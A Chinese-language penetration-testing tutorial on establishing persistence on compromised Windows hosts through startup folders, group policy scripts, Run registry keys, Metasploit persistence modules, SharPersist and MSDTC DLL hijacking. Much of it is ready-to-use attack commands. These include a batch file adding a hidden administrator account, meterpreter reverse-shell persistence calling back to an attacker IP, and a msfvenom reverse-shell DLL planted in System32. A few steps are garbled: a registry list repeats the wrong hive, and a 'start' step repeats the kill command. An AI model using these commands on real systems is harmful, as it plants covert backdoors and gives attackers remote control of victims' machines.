您当前的位置:首页 > 计算机 > 系统应用 > Windows

巧用系统启动项玩转Windows权限维持

时间:03-31来源:作者:点击数:

Windows中有很多自动启动程序的方法,这些方法稍加利用可以即可帮助我们完成Windows下的权限维持,下文将分别从启动文件夹利用,组策略利用,注册表利用分别展开

启动文件夹利用

启动文件夹利用思路较为简单,即将Payload文件放在启动文件夹,再利用文件隐藏技巧对Payload进行隐藏

所在位置

# 系统级自启动文件夹,需要System权限才能操作
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
# 用户级自启动文件夹,文件夹所属用户登录可以操作
C:\Users\${用户名}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

利用方法

1、将文件移植文件夹

2、对文件进行隐藏处理,如利用attrib为文件进行隐藏

attrib -S -A -H -R test.txt

更多文件隐藏技巧可以参考《文件隐藏技巧在Windows权限维持中的应用》

组策略的利用

组策略的利用方法与启动文件夹的利用思路基本一致,即在组策略中添加Payload,利用组策略的自启动策略来加载Payload文件

所在位置

# 计算机启动时加载
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
# 计算机关闭时加载
C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
# 只针对用户添加启动项
C:\Windows\System32\GroupPolicy\User\Scripts\Logon
C:\Windows\System32\GroupPolicy\User\Scripts\Logoff
在这里插入图片描述

利用方法

1、在启动项中添加启动脚本,如

# 将下面作为bat文件,添加到启动项中
echo off
net user redteam$ redteam /add
net localgroup administrators redteam$ /add
exit

注册表利用

所在位置

Windows注册表存在的自启动后门较多,此类后门主要利用原理为将Payload文件植入具备自启动特性的注册表中,这样Payload就会在计算机启动过程被执行。此处以较为经典的两类自启动项进行说明演示。

注册表位置说明

# HKEY_LOCAL_MACHINE类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
# HKEY_CURRENT_USER类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

说明:

1、HKEY_CURRENT_USER类,为用户级注册表,即只有当前用户登录才会触发自启动,其他用户登录不会触发。

2、HKEY_LOCAL_MACHINE类,为主机类注册表,即只要主机启动自启动项就会被触发。

3、Run和RunServices的区别是,Run中的程序是WINDOWS初始化后才运行的,而RunService中的程序是在操作系统启动时就开始运行的,也就是说RunServices中的程序先于Run中的程序运行

4、Run与RunOnce键区别是,Run 键值每次开机均会被执行,RunOnce 键值只执行一次,操作执行后会被自动删除

利用方法

方法一:使用reg add进行添加

语法说明

REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
        [/reg:32 | /reg:64]

  KeyName  [\\Machine\]FullKey
           Machine  远程机器名 - 忽略默认到当前机器。远程机器上
                    只有 HKLM 和 HKU 可用。
           FullKey  ROOTKEY\SubKey
           ROOTKEY  [ HKLM | HKCU | HKCR | HKU | HKCC ]
           SubKey   所选 ROOTKEY 下注册表项的完整名称。

  /v       所选项之下要添加的值名称。

  /ve      为注册表项添加空白值名称(默认)。

  /t       RegKey 数据类型
           [ REG_SZ    | REG_MULTI_SZ | REG_EXPAND_SZ |
             REG_DWORD | REG_QWORD    | REG_BINARY    | REG_NONE ]
           如果忽略,则采用 REG_SZ。

  /s       指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符
           如果忽略,则将 "\0" 用作分隔符。

  /d       要分配给添加的注册表 ValueName 的数据。

  /f       不用提示就强行覆盖现有注册表项。

 /reg:32  指定应该使用 32 位注册表视图访问的注册表项。

 /reg:64  指定应该使用 64 位注册表视图访问的注册表项。

举例

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Flash /t REG_SZ /d " E:\Flash.exe"
在这里插入图片描述
方法二:使用Metasploit后渗透模块添加
# 1、run persistence用法
-A        自动启动一个匹配的exploit / multi / handler来连接到代理
-L <opt>  如果未使用%TEMP%,则在目标主机中写入有效负载的位置
-P <opt>  使用哪个Payload,默认使用 windows/meterpreter/reverse_tcp.
-S        作为服务自动启动代理程序(具有SYSTEM权限)
-T <opt>  要使用的备用可执行模板
-U        用户登录时自动启动代理
-X        系统引导时自动启动代理程序
-h        这个帮助菜单
-i <opt>  每次连接尝试之间的时间间隔(秒)
-p <opt>  运行Metasploit的系统正在侦听的端口
-r <opt>  运行Metasploit监听连接的系统的IP

举例

run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p msf端口 -r msf对应IP
在这里插入图片描述
# 2、post/windows/manage/persistence_exe模块用法
# 启动模块persistence_exe
use post/windows/manage/persistence_exe
# 设置要用的payload
set REXEPATH /opt/msf/flash.exe
# 查看要攻击的主机session
sessions -l
# 设置要攻击的主机session
set SESSION 1
# 设置植入哪类注册表,如以获得SYSTEM权限可以设置为 set STARTUP USER
set STARTUP USER
# 设置payload存放在目标主机的位置
set LOCALEXEPATH C:\\tmp
# 执行攻击
run
在这里插入图片描述
方法三:使用SharPersist工具

SharPersist是C#编写的命令行工具,其主要为了解决使用多种不同的技术在Windows操作系统上建立持久性,该工具的主要功能为;

1、reg-注册表项添加/修改

2、keepass-keepass配置文件后门

3、schtaskbackdoor-通过向后门计划任务添加其他操作来完成该任务

4、startupfolder-启动文件夹中的lnk文件

5、tortoisesvn-乌龟svn钩子脚本

6、service-创建新的Windows服务

7、schtask-创建新的计划任务

此处演示以msf与SharPersist结合使用

# 将SharPersist下载到你的msf服务下面(位置随便)
wget https://github.com/mandiant/SharPersist/releases/download/v1.0.1/SharPersist.exe
在这里插入图片描述
# 将SharPersist.exe推送到你的目标机器方便一会用
upload /opt/msf/SharPersist.exe E:\\
在这里插入图片描述
# 使用SharPersist添加注册表
SharPersist.exe -t reg -c "C:\Windows\System32\cmd.exe" -a "/c E:\Flash.exe" -k "hkcurun" -v "Flash" -m add
在这里插入图片描述

查看是否添加成功

在这里插入图片描述
方法四:基于msdtc的dll劫持后门

msdtc,全称Microsoft Distributed Transaction Coordinator,是微软分布式传输协调程序,此服务主要时解决多数据源协调问题。此后门的利用原理为:因为MSDTC服务启动时会搜索并加载三个dll文件(oci.dll,SQLLib80.dll,xa80.dll),我们通过将Payload伪装为dll文件的方式,让MSDTC加载我们的木马程序。从而完成劫持过程

DLL劫持原理介绍

DLL劫持指的是,通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL。我们可以利用此原理探索更多劫持手段

注册表所在位置为:\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI

dll存放路径为:C:\Windows\system32\

优先伪造系统不存在的dll避免因dll替换导致系统正在运行的功能收到影响

在这里插入图片描述

利用方法

此方法建立在已经拿到服务器的system账户权限情况下进行,关于提权可以参考本系列提权类文章

1、用msf生成利用dll

msfvenom -p windows/meterpreter/reverse_tcp LHOST=替换IP LPORT=替换端口 -f dll >oci.dll

2、将dll文件放到dll存放路径(C:\Windows\system32\)

# 1、将payload下载到目标机本地
upload /opt/msf/oci.dll E:\\
在这里插入图片描述
# 2、进入目标机shell
shell
在这里插入图片描述
# 3、将payload移动到C:\Windows\System32
move E:\oci.dll c:\Windows\System32
在这里插入图片描述

3、重启msdtc.exe

# 1、杀死msdtc.exe
taskkill /f /im msdtc.exe
在这里插入图片描述
# 2、启动msdtc
taskkill /f /im msdtc.exe
在这里插入图片描述

至此主机已上线

在这里插入图片描述

为了您和您家人的幸福,请不要利用文中技术在用户未授权情况下开展渗透测试!!!

《中华人民共和国刑法》

第二百八十五条

违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。

第二百八十六条

违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。

违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。

故意制作、传播计算机病毒等破坏程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门